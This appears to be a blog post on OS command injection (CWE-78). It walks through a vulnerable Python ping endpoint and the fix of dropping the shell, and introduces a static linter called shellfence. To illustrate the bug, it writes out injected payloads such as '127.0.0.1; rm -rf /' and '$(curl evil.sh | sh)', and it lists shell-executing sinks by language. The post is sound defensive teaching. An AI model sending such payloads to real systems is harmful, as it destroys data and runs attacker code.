The ping helper that runs the attacker's commands
os.system("ping -c1 " + host)` looks like a five-minute utility, and it passes review with a real hostname every time - until someone sends `127.0.0.1; rm -rf /` and your shell dutifully runs both halves. Here is the OS-command-injection bug behind CWE-78, the drop-the-shell fix, and shellfence, a static linter that fails the build when it finds one.
Here is a health-check endpoint that looks like it does exactly what it should:
@app.route("/ping")
def ping():
host = request.args.get("host")
return os.system("ping -c1 " + host)
It pings a host the caller names and returns the result. You test it with ?host=127.0.0.1, it works. Reviewers wave it through, because there is nothing to argue with - it shells out to ping, which is the whole job. Then someone sends this:
GET /ping?host=127.0.0.1;%20rm%20-rf%20/
and your server runs ping -c1 127.0.0.1, sees the ;, and then runs rm -rf /. The attacker didn't need a memory-corruption exploit or a stolen credential. They typed a second command into a query string, and your shell ran it as you.
This post is about why that handler is a vulnerability, how a plain string turns into two commands, the fix that closes it, and a small tool I wrote - shellfence - that fails the build the moment it finds a shell command built from user input.
The shell is a language, not a pipe
The trap is that os.system (and /bin/sh -c underneath it) does not receive "a program and its arguments." It receives one string, and interprets it as shell script. A shell is a full language: ; separates commands, | pipes them, && chains them, $(...) and backticks substitute the output of one command into another, > redirects to files. Every one of those is a metacharacter the shell acts on before ping ever runs.
So when you write "ping -c1 " + host, you are not building an argument list - you are writing a shell script with a hole in the middle that the client fills in. host=127.0.0.1 gives the script you meant. host=127.0.0.1; rm -rf / gives a different script. host=$(curl evil.sh | sh) gives a worse one - it downloads and runs whatever the attacker hosts. The value slot can hold a hostname or an entire program, and the shell decides which by looking at the characters you handed it.
That is the whole bug. The safe input and the exploit are character-for-character the same code path - the only difference is what the client decided to send. You never wrote rm anywhere. The attacker supplied it, and the shell interpreted it.
It is not just os.system, and not just Python
The same shape shows up in every language, wherever a command string reaches a shell:
Python -
os.system,os.popen, andsubprocess.run(..., shell=True)all hand a string to/bin/sh.Node -
child_process.exec("...")andexecSyncrun their argument in a shell; so doesspawn(cmd, { shell: true }).Go -
exec.Command("sh", "-c", userString)explicitly asks a shell to parse the command.Java -
Runtime.getRuntime().exec(oneString)andProcessBuilderinvoked through a shell.PHP -
system,exec,shell_exec,passthru,proc_open, and backticks.Ruby -
system("..."),`...`backticks,IO.popen,Open3.
Different syntax, identical mistake: an untrusted string is handed to something that parses shell.
Why it slips through review
OS command injection is CWE-78, and it sits in the OWASP Top 10 Injection category. It has been documented and demonstrated for decades. So why is it still everywhere?
Because the vulnerable code looks exactly like the code you meant to write. There is no scary primitive here - no eval, no raw socket, no assembly. It is os.system with a string, the single most ordinary way to run a command. The only thing wrong is where part of that string came from, and that provenance is often a few lines away from the call, behind a variable named host or filename or cmd.
You can't test your way to catching it either. Your tests send real hostnames, get sensible pings, and go green. Nobody writes the test that sends ; rm -rf / as a hostname - because anyone already thinking about that input would have fixed the code.
The fix: stop using a shell
The durable fix is not "escape the dangerous characters." It is don't invoke a shell at all. Pass the program and its arguments as separate values, so there is no string for a shell to re-parse:
# Vulnerable - one string, parsed by /bin/sh
os.system("ping -c1 " + host)
# Fixed - an argument vector, no shell
subprocess.run(["ping", "-c1", host])
In the fixed version, host is a single argument to ping. If someone sends 127.0.0.1; rm -rf /, ping receives that whole thing as one (invalid) hostname and fails - nothing else runs. The ; never reaches a shell, because there is no shell. The same move exists everywhere:
| Ecosystem | Run a command without a shell |
|---|---|
| Python | subprocess.run(["cmd", arg]) - no shell=True; avoid os.system/os.popen |
| Node | execFile("cmd", [arg]) / spawn("cmd", [arg]) - no exec, no shell: true |
| Go | exec.Command("cmd", arg) - never exec.Command("sh", "-c", user) |
| Java | new ProcessBuilder("cmd", arg) - not Runtime.exec(oneString) |
| PHP | escapeshellarg() each argument, or a fixed command + allow-listed args |
| Ruby | system("cmd", arg) (multi-arg form) - not backticks or a single string |
If a shell is genuinely unavoidable, the fallback is to quote every argument (shlex.quote, escapeshellarg, Shellwords.escape) and, better still, to allow-list the exact commands you permit rather than accepting an arbitrary one. But the first choice is always: drop the shell.
The fix is small. The hard part is never knowing it - it is noticing that this particular shell-out needed it.
Why this is a linter's job - and why static
The bug is not hiding at runtime; it is right there in the source. A command string that traces back to request input, executed through a shell, with nothing escaping or allow-listing it in between, is a textual pattern - visible the moment the line is written. That makes it a natural fit for a static gate: read the code, find shell executions, ask where each command came from, and fail the pull request when the answer is "straight from the user, with a shell to interpret it."
That is exactly what shellfence does.
How shellfence works
shellfence is a single static Go binary - standard library only, no dependencies, no code execution, no network. It is cross-language by design: rather than build a full parser per language, it works on the textual shape of a command execution, which is remarkably consistent across ecosystems, and asks two narrow questions of each one. Both must be true before it says a word - that is what keeps false positives down.
Question one: is a shell actually running this? shellfence knows which sinks use a shell and which don't:
Always a shell -
os.system,os.popen,commands.*(Python);child_process.exec/execSync(Node);system,exec,shell_exec,passthru,popen,proc_open, backticks (PHP);system,exec,IO.popen,Open3.*, backticks (Ruby).A shell only when you opt in -
subprocess.*withshell=True; Nodespawn/execFilewith{ shell: true }.A shell only when you name one -
exec.Command("sh", "-c", …)/ProcessBuilderwithbash -c;Runtime.execon a single string.
Crucially, the argument-vector forms are treated as safe by construction - subprocess.run(["ls", user]), execFile("ls", [user]), exec.Command("ls", user). There is no shell there, so there is nothing to inject into, so shellfence stays silent. That is the recommended fix, and the tool rewards it.
Question two: does the command come from user input? If the command string is built from a request source - req.query, req.body, req.params, request.args, $_GET / $_POST, Java's getParameter, Go's r.URL.Query()/FormValue - or from CLI arguments (sys.argv, process.argv), the environment, or stdin, that is the dangerous provenance. shellfence tracks it directly on the sink line and through a variable assigned from user input a few lines earlier, resetting at each function boundary.
If a shell runs a user-derived command with no escaping or allow-list in between, that is a finding.
shellfence keeps quiet where it should. A literal command - os.system("df -h") - is a constant, never a finding. A value that has visibly been quoted (shlex.quote, escapeshellarg, Shellwords.escape) or looked up in an allow-list passes by construction. And you can silence any single line with a shellfence:ignore comment, or skip whole paths with a .shellfenceignore file.
